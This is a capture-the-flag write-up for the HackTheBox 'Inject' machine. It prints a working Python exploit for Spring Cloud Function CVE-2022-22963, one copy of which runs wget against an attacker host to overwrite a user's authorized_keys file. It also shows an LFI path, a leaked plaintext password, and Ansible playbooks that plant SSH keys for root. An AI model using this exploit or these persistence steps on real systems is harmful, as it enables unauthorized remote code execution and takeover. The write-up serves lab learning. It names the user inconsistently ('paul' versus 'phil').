HackTheBox - Inject

Writeup for HackTheBox’s Inject machine.

We have an upload functionality in the web app and it accepts PNG files, although there are some bypasses but they didn’t lead anywhere.

Once you upload a valid PNG/Image file, you can view it by going to show_image and the filename is specified by the img parameter

It is vulnerable to LFI vulnerability, we can access any arbitrary file with the known location.

After some hefty enumeration, we can see the absolute path for the webapp by checking the webapp.service this filename was retrieved from the /opt/automation/tasks/playbook_1.yml during initial enumeration, as giving the a directory location will list out the sub-directories and it’s associated files:

Checking the service files, we can get the location of the jar file of the webserver.

[Unit]
Description=Spring WEb APP
After=syslog.target

[Service]
User=frank
Group=frank
ExecStart=/usr/bin/java -Ddebug -jar /var/www/WebApp/target/spring-webapp.jar
Restart=always
StandardOutput=syslog
StandardError=syslog

[Install]
WantedBy=multi-user.target

With the retrieved information, we can get the Spring version by checking pom.xml and it is vulnerable with https://github.com/me2nuk/CVE-2022-22963

I modified the original script to pass the arguments for better work:

import requests
import sys
import threading
import urllib3
urllib3.disable_warnings()

def scan(txt,cmd):

payload=f'T(java.lang.Runtime).getRuntime().exec("{cmd}")'

data ='test'
headers = {
'spring.cloud.function.routing-expression':payload,
'Accept-Encoding': 'gzip, deflate',
'Accept': '*/*',
'Accept-Language': 'en',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded'
}
path = '/functionRouter'
f = open(txt)
urllist=f.readlines()

for url in urllist :
url = url.strip('\n')
all = url + path
try:
req=requests.post(url=all,headers=headers,data=data,verify=False,timeout=3)
code =req.status_code
text = req.text
rsp = '"error":"Internal Server Error"'

if code == 500 and rsp in text:
print ( f'[+] { url } is vulnerable' )
poc_file = open('vulnerable.txt', 'a+')
poc_file.write(url + '\n')
poc_file.close()
else:
print ( f'[-] { url } not vulnerable' )

except requests.exceptions.RequestException:
print ( f'[-] { url } detection timed out' )
continue
except:
print ( f'[-] { url } error' )
continue

if __name__ == '__main__' :
try:
cmd1 =sys.argv[1]
cmd2 = sys.argv[2]
t = threading . Thread ( target = scan ( cmd1 , cmd2 ) )
t.start()
except:
print ( 'Usage:' )
print('python poc.py url.txt')
pass

For confirmation, doing a ping on my host from the Inject machine, using tcpdump we received ICMP requests.

Again, modifying the script to add the public key to the frank user so we can SSH into the machine.

import requests
import sys
import threading
import urllib3
urllib3.disable_warnings()

def scan(txt,cmd):

payload=f'T(java.lang.Runtime).getRuntime().exec("wget http://10.10.14.19/authorized_keys -O /home/frank/.ssh/authorized_keys")'

data ='test'
headers = {
'spring.cloud.function.routing-expression':payload,
'Accept-Encoding': 'gzip, deflate',
'Accept': '*/*',
'Accept-Language': 'en',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded'
}
path = '/functionRouter'
f = open(txt)
urllist=f.readlines()

for url in urllist :
url = url.strip('\n')
all = url + path
try:
req=requests.post(url=all,headers=headers,data=data,verify=False,timeout=3)
code =req.status_code
text = req.text
rsp = '"error":"Internal Server Error"'

if code == 500 and rsp in text:
print ( f'[+] { url } is vulnerable' )
poc_file = open('vulnerable.txt', 'a+')
poc_file.write(url + '\n')
poc_file.close()
else:
print ( f'[-] { url } not vulnerable' )

except requests.exceptions.RequestException:
print ( f'[-] { url } detection timed out' )
continue
except:
print ( f'[-] { url } error' )
continue

if __name__ == '__main__' :
try:
cmd1 =sys.argv[1]
cmd2 = sys.argv[2]
t = threading . Thread ( target = scan ( cmd1 , cmd2 ) )
t.start()
except:
print ( 'Usage:' )
print('python poc.py url.txt')
pass

Confirming the key has been added to the authorized_keys file for the frank user via LFI:

Successfully doing SSH into the machine as frank user:

From the LFI itself, we were able to retrieve the file /home/frank/.m2/settings.xml and paul user password,

-bash-5.0$ cat .m2/settings.xml
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<servers>
<server>
<id>Inject</id>
<username>phil</username>
<password>DocPhillovestoInject123</password>
<privateKey>${user.home}/.ssh/id_dsa</privateKey>
<filePermissions>660</filePermissions>
<directoryPermissions>660</directoryPermissions>
<configuration></configuration>
</server>
</servers>
</settings>

Using the password, we can change to user paul

Further looking into the writable folder and files, we can see that /opt/automation/tasks is writable by staff group member and paul is a member of that group.

bash-5.0$ find / -writable 2>/dev/null | grep -v proc

[..snip..]

/tmp/.XIM-unix
/tmp/.font-unix
/tmp/.X11-unix
/tmp/.Test-unix
/tmp/.ICE-unix
/opt/automation/tasks
/etc/systemd/system/nginx.service
/etc/systemd/system/sysstat.service
/var/tmp
/var/crash
/var/local
/var/lock
/home/phil
/home/phil/.bashrc
/home/phil/.bash_history
/home/phil/.cache
/home/phil/.cache/motd.legal-displayed
/home/phil/.profile
/home/phil/.viminfo
/home/phil/.vim
/home/phil/.vim/.netrwhist
/home/frank/.bash_history
/usr/lib/systemd/system/screen-cleanup.service
/usr/lib/systemd/system/lvm2.service
/usr/lib/systemd/system/rcS.service
/usr/lib/systemd/system/x11-common.service
/usr/lib/systemd/system/cryptdisks.service
/usr/lib/systemd/system/multipath-tools-boot.service
/usr/lib/systemd/system/hwclock.service
/usr/lib/systemd/system/rc.service
/usr/lib/systemd/system/sudo.service
/usr/lib/systemd/system/cryptdisks-early.service
/usr/local/lib/python3.8
/usr/local/lib/python3.8/dist-packages
/usr/local/share/fonts

That directory had an ansible playbook file for automating tasks

From the enumeration, we were able to anticipate that any tasks created in this directory will be executed, hence to replicate it, I created two tasks,

This is for creating an .ssh directory is root home directory

---
- name: Create directory in root folder
hosts: localhost
become: yes

tasks:
- name: Create directory
file:
path: /root/.ssh
state: directory
mode: '0755'
register: create_result

- name: Display create result
debug:
var: create_result

Another is to add the same public key we used for frank user to root user’s authorized_keys

- name: Copy id_rsa file to /root/.ssh/
hosts: localhost
become: yes

tasks:
- name: Copy id_rsa file
copy:
src: /home/frank/.ssh/authorized_keys
dest: /root/.ssh/authorized_keys
mode: '0600'
register: copy_result

- name: Display copy result
debug:
var: copy_result

Doing so, we were able to login to the target as root

HackTheBox - Busqueda HackTheBox - Escape
Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×